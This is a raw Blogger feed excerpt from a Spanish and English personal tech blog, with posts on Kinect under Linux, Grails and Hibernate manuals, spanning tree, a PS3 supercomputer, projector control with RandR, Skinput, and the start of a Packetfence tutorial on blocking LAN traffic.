type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Fuente: Linux Magazine en Español.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-873813311049194301?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/873813311049194301/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/kinect-bajo-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/873813311049194301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/873813311049194301'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/kinect-bajo-linux.html' title='Kinect bajo Linux'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-951767057173587791</id><published>2011-01-24T14:28:00.000-08:00</published><updated>2011-01-24T14:28:31.083-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='grails con netbeans'/><category scheme='http://www.blogger.com/atom/ns#' term='j2ee'/><category scheme='http://www.blogger.com/atom/ns#' term='grails'/><title type='text'>Manual de Grails y manual de Hibernate.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://grails.org/doc/1.0.x/img/grails.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="96" src="http://grails.org/doc/1.0.x/img/grails.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;En vista que he tenido poco trabajo que realizar, me he dedicado a aprender un par de frameworks para Java (J2EE), ya que el mercado exige desarrolladores del Java Enterprise Edition, pues bien aquí dejo un par de libros para esos frameworks, los cuales son:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;strong&gt;Hibernate:&lt;/strong&gt; es una herramienta de Mapeo objeto-relacional (ORM) para la plataforma Java (y disponible también para .Net con el nombre de NHibernate) que facilita el mapeo de atributos entre una base de datos relacional tradicional y el modelo de objetos de una aplicación, mediante archivos declarativos (XML) o anotaciones en los beans de las entidades que permiten establecer estas relaciones.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;strong&gt;Grails:&lt;/strong&gt; es un framework para aplicaciones web libre desarrollado sobre el lenguaje de programación Groovy (el cual a su vez se basa en la Java platform). Grails pretende ser un marco de trabajo altamente productivo siguiendo paradigmas tales como convención sobre configuración o no te repitas (DRY), proporcionando un entorno de desarrollo estandarizado y ocultando gran parte de los detalles de configuración al programador.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;La verdad es que Grails simplifica bastante el hecho de desarrollar, para ejemplo el siguiente: con tan sólo 7 líneas de código somos capaces de crear un sistema completo con persistencia en base de datos que contenga las operaciones básicas (altas, bajas, consultas y modificaciones) para una tabla que contenga dos campos. Estas 7 líneas de código también crean la base de datos en el manejador de base de datos (RDBMS), así mismo también son suficientes para tener la interfaz web.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;El manual de Hibernate lo pueden descargar de &lt;/span&gt;&lt;a href="http://rapidshare.com/files/99618325/Hibernate.rar"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;El manual de Grails lo pueden descargar de &lt;/span&gt;&lt;a href="http://rapidshare.com/files/432711819/Manual_de_desarrollo_web_con_Grails.pdf"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Para quien quiera ver un tutorial para desarrollar con Netbeans, el enlace está &lt;/span&gt;&lt;a href="http://grails.org/NetBeans+Integration"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-951767057173587791?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/951767057173587791/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/manual-de-grails-y-manual-de-hibernate.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/951767057173587791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/951767057173587791'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/manual-de-grails-y-manual-de-hibernate.html' title='Manual de Grails y manual de Hibernate.'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4101360350415523927</id><published>2011-01-10T14:52:00.000-08:00</published><updated>2011-01-10T14:52:59.111-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IEEE 802.1Q'/><category scheme='http://www.blogger.com/atom/ns#' term='stp'/><category scheme='http://www.blogger.com/atom/ns#' term='linux y redes'/><category scheme='http://www.blogger.com/atom/ns#' term='switching'/><category scheme='http://www.blogger.com/atom/ns#' term='dhcp'/><category scheme='http://www.blogger.com/atom/ns#' term='conmutación'/><title type='text'>Memorias de un Administrador de Redes: Casos (o caos?)</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://chadarius.com/files/NetworkManager_plasma_mock1.preview.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://chadarius.com/files/NetworkManager_plasma_mock1.preview.png" width="305" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Leyendo un poco de información sobre cuestiones de redes y Linux en la Internetwork me encontré con este enlace, que muestra tres casos que tienen que ver con las redes, dispositivos capa 3 y capa 2 de Cisco y algunas otras cosillas como servidores DHCP.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Lo posteo porque creo que es interesante para todos aquellos que estudiamos el CCNA de Cisco.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Un fragmento dice:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;"Muchos switches estropean la red a&lt;br /&gt;pesar de las buenas intenciones de los&lt;br /&gt;administradores. El objetivo es normalmente&lt;br /&gt;mejorar la resistencia de la red,&lt;br /&gt;pero una mala configuracin puede&lt;br /&gt;crear rpidamente un acelerador de part&lt;br /&gt;culas virtual. Un bucle se caracteriza&lt;br /&gt;por el hecho de que mantendr a los&lt;br /&gt;paquetes dando vueltas por la red hasta&lt;br /&gt;el infinito. Si la red posee dos o ms&lt;br /&gt;caminos redundantes y los nodos&lt;br /&gt;envan tramas a mltiples interfaces, el&lt;br /&gt;resultado podra ser un lazo, en el que&lt;br /&gt;los paquetes se mantienen viajando en&lt;br /&gt;crculos infinitos.&lt;br /&gt;Como las tramas Ethernet no soportan&lt;br /&gt;la cuenta de saltos o valores del tipo&lt;br /&gt;tiempo-de-vida, la red no se dara&lt;br /&gt;cuenta de esta circunstancia, dejando&lt;br /&gt;que los paquetes circulen para siempre.&lt;br /&gt;Para evitar este desastre, gente inteligente&lt;br /&gt;dise el Protocolo Spanning&lt;br /&gt;Tree (STP) [4], donde todos los switches&lt;br /&gt;de una red negocian un switch raz."&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;El documento lo pueden bajar de &lt;/span&gt;&lt;a href="http://www.linux-magazine.es/issue/29/060-063_DiaSysadminsLM29.crop.pdf"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;La fuente original la debemos a &lt;/span&gt;&lt;a href="http://www.linux-magazine.es/"&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Linux Magazine en Español&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4101360350415523927?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4101360350415523927/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/memorias-de-un-administrador-de-redes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4101360350415523927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4101360350415523927'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/memorias-de-un-administrador-de-redes.html' title='Memorias de un Administrador de Redes: Casos (o caos?)'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-1219397959166241816</id><published>2011-01-03T11:51:00.000-08:00</published><updated>2011-01-03T11:51:44.274-08:00</updated><title type='text'>1,760 PlayStation 3s form new supercomputer - Air Force News | News from Afghanistan &amp; Iraq - Air Force Times</title><content type='html'>&lt;p&gt;Putting 1,760 Sony PlayStation 3s in one room might make for the most awesome “Call of Duty: Black Ops” game ever. And, as Air Force researchers have discovered, they can also create the Defense Department’s largest interactive supercomputer.&lt;br /&gt;&lt;br /&gt;The Air Force Research Laboratory at Wright-Patterson Air Force Base, Ohio, formally unveiled the supercomputer, nicknamed the “Condor Cluster,” earlier this month.&lt;br /&gt;&lt;br /&gt;Not only is it fast — the laboratory’s high performance computing director says it’s about the 35th-fastest computer in the world — and “green,” it was cheap, too. The laboratory spent about $2 million, which Wright-Patterson says is less than one-10th the cost of using traditional computer equipment.&lt;br /&gt;&lt;br /&gt;“We’re striving hard to make affordable and constrained systems, where they can really use them and make a difference,” the director, Mark Barnell, told reporters Dec. 2.&lt;br /&gt;&lt;br /&gt;The Condor Cluster will be used to process high-resolution satellite images and boost surveillance capabilities. According to the Air Force, scientists will be able to monitor a 15.5-mile area in real time using the cluster and aerial surveillance.&lt;br /&gt;&lt;br /&gt;Researchers also want to use the supercomputer for neuromorphic computing, which mimics the human brain’s ability to solve complex problems. The supercomputer has applications capable of reading 20 pages per second with up to 30 percent of the characters removed and recovering all the words without error, said Barnell, also the Condor Cluster project engineer.&lt;br /&gt;&lt;br /&gt;“We have quite a few research and development efforts working on those kind of applications to do confabulation and prediction,” Barnell said, “and that will open up a variety of areas which could help with a lot of other efforts and a lot of the areas in which the Air Force would like to go.”&lt;br /&gt;&lt;br /&gt;The Condor Cluster isn’t just for Air Force Research Laboratory scientists. It is available for Defense Department users for free on a shared basis.&lt;br /&gt;&lt;br /&gt;It’s also energy efficient. The Condor supercomputer is about the seventh “greenest” computer in the world, Barnell said.&lt;br /&gt;&lt;br /&gt;The Condor Cluster can achieve about 1.5 GigaFLOPS — floating point operations per second, the unit by which supercomputing power is measured — per watt of computing power. A typical supercomputer can reach only about one-15th of that.&lt;br /&gt;&lt;br /&gt;Although building a “green” system was important, Barnell said a motivation behind building a power-efficient machine was to create something that could work well in the field.&lt;br /&gt;&lt;br /&gt;“If we’re going to help out and bring it out to … the war fighter, we also know that there’s a size, weight and power constraint in the real world,” Barnell said. “We see a direct relationship, and we’re motivated and driven by those constraints as well.&lt;br /&gt;&lt;br /&gt;“And when the two match up — not just because we get lucky, I think more because we know where we’re going — then we get a double-win.”&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Source: &lt;a href="http://www.airforcetimes.com/news/2010/12/air-force-playstation-3-supercomputer-122410w/?sms_ss=blogger&amp;amp;at_xt=4d22288c592fc772%2C0"&gt;1,760 PlayStation 3s form new supercomputer - Air Force News | News from Afghanistan &amp;amp; Iraq - Air Force Times&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-1219397959166241816?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.airforcetimes.com/news/2010/12/air-force-playstation-3-supercomputer-122410w/?sms_ss=blogger&amp;at_xt=4d22288c592fc772%2C0' title='1,760 PlayStation 3s form new supercomputer - Air Force News | News from Afghanistan &amp; Iraq - Air Force Times'/><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/1219397959166241816/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/1760-playstation-3s-form-new.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1219397959166241816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1219397959166241816'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/1760-playstation-3s-form-new.html' title='1,760 PlayStation 3s form new supercomputer - Air Force News | News from Afghanistan &amp; Iraq - Air Force Times'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-159164559394829061</id><published>2011-01-03T10:37:00.000-08:00</published><updated>2011-01-03T10:39:11.449-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='monitores'/><category scheme='http://www.blogger.com/atom/ns#' term='proyectores'/><category scheme='http://www.blogger.com/atom/ns#' term='cañon en linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Control de monitores y proyectores de vídeo en Linux</title><content type='html'>Primero que nada les envío una felicitación con motivos del año que recién comienza a quienes sigan este blog.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img.actualidadgadget.com/wp-content/uploads/2010/04/CVOB-E72-Mini-Projector-with-Linux-WiFi-and-QWERTY-keyboard.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="265" src="http://img.actualidadgadget.com/wp-content/uploads/2010/04/CVOB-E72-Mini-Projector-with-Linux-WiFi-and-QWERTY-keyboard.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Bueno, por otra parte les hablaré sobre el control de monitores y proyectores de video en Linux (principalmente para las laptops), que como ya muchos sabrán es un dolor de cabeza el no saber de que manera gestionarlos mediante el teclado, ya que en su mayoría estamos acostumbrados a presionar un par de teclas y enviar la señal al proyector.&lt;br /&gt;&lt;br /&gt;Yo tengo una laptop de la marca Compaq y por defecto KDE tiene una configuración para el teclado multimedia que me permitía usar precisamente esa combinación de teclas para controlar el proyector de video, sin embargo a partir de la versión 13.1 de Slackware hubo un cambio en el servidor X.org, el cual ya no ocupa el tradicional archivo de configuración &lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/etc/X11/xorg.conf&lt;/span&gt;, y me supongo que debió llevar más cambios no sólo ese, razón por la cual ya no funciona este método. Ahora tengo que pelearme con el sistema para que de alguna manera se pueda seguir empleando el proyector.&lt;br /&gt;Pues bien, parece ser que he encontrado una solución, desgraciadamente no he tenido tiempo de probarla, se basa en el uso de RandR (Resize and Rotate).&lt;br /&gt;&lt;br /&gt;Gracias a nuestros amigos de Linux Magazine en español, he encontrado un artículo bastante explicativo de como emplear esa herramienta para gestionar esos proyectores. El archivo lo puedes descargar de la página de LinuxMagazine.com &lt;a href="http://www.linux-magazine.es/issue/58/038-040_RandRLM58.pdf"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Fuente Original: &lt;a href="http://www.linux-magazine.es/issue/58/"&gt;Linux Magazine en Español&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-159164559394829061?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/159164559394829061/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/control-de-monitores-y-proyectores-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/159164559394829061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/159164559394829061'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/01/control-de-monitores-y-proyectores-de.html' title='Control de monitores y proyectores de vídeo en Linux'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-3199614934393080691</id><published>2010-12-29T08:51:00.000-08:00</published><updated>2010-12-29T08:53:31.068-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='touchscreen'/><category scheme='http://www.blogger.com/atom/ns#' term='skinput'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Skinput, becoming your arm into a touchscreen</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://elgeek.com/wp-content/uploads/2010/03/Skinput.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://elgeek.com/wp-content/uploads/2010/03/Skinput.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;I've received at home a copy of ACM XRDS Magazine, and wow!!!, it's really impressive one issue treated there. The article name is "Interfaces on the Go".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;As I said, I got shocked 'cause it's something I never expected, Microsoft and Canergie Mellon's HCI Institute have been hard working in this research.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;I see that Microsoft is more than just Windows OS'es and Office software.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;There's one new concept that it's being introduced, &lt;b&gt;micro-interactions&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; that refers to interactions that take a lower time to initiate and complete (tipically lesser than 4 seconds, this time it's to compare with interaction with cellphones or similar devices interaction), so that the user can quickly return to the task at hand.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;There are a couple of techniques that are being developed:&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Muscle-computer interfaces.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Bio-acustic sensing.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Most impressive technique to me is Bio-acustic sensing 'cause it's a technique that allows the skin (yes!!, the skin) to be used as a finger input surface, that's why it's name is &lt;i&gt;Skinput&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;. Regardless of it it seems that it's better to understand an image rather than a speech.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://0.gvt0.com/vi/g3XPUdW9Ryg/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/g3XPUdW9Ryg&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266" src="http://www.youtube.com/v/g3XPUdW9Ryg&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Please forgive me if I have misspellings, I'm just trying to improve my English so I decided start posting in this language.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Original source: XRDS Magazine, summer 2010 issue 16.4&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-3199614934393080691?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/3199614934393080691/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/skinput-becoming-your-arm-into.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3199614934393080691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3199614934393080691'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/skinput-becoming-your-arm-into.html' title='Skinput, becoming your arm into a touchscreen'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4919488403772568858</id><published>2010-12-20T10:08:00.000-08:00</published><updated>2010-12-20T10:11:09.844-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><category scheme='http://www.blogger.com/atom/ns#' term='packetfence'/><category scheme='http://www.blogger.com/atom/ns#' term='blocking'/><title type='text'>Packetfence, blocking unwanted traffic in the LAN</title><content type='html'>&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Now that I'm "fan" of linux.com via facebook, I saw this little tuto regarding to "Block Traffic", I just decided to post it 'cause already I'm Network Manager and I might use this information in not so far future. Well here comes post.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Packetfence is a very powerful Network Access Control tool. Using Packetfence you can control and block unwanted traffic on your network. Want to block P2P services like BitTorrent, or keep mobile devices like iPhones and Android phones off your wireless network? Packetfence gives you the kind of fine-grained control you're looking for.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Packetfence is officially supported on Red Hat Enterprise Linux (RHEL) and CentOS. With those two distributions you can quickly get Packetfence up and running (Unlike on Ubuntu which I recently outlined in "Install and Configure Packetfence on Ubuntu Linux"). But you are not relegated to command line only (as you will find in Ubuntu). With Red Hat or CentOS you will find a powerful web-based tool at your fingertips. With this tool you can easily manage Packetfence. But not all aspects of Packetfence can be handled from the web-based GUI.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;Assumptions&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;What I want to demonstrate is how to block specific traffic on your Packetfence-enabled network. I will assume just a few items:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;You already have Packetfence installed and working properly (I will be demonstrating on CentOS 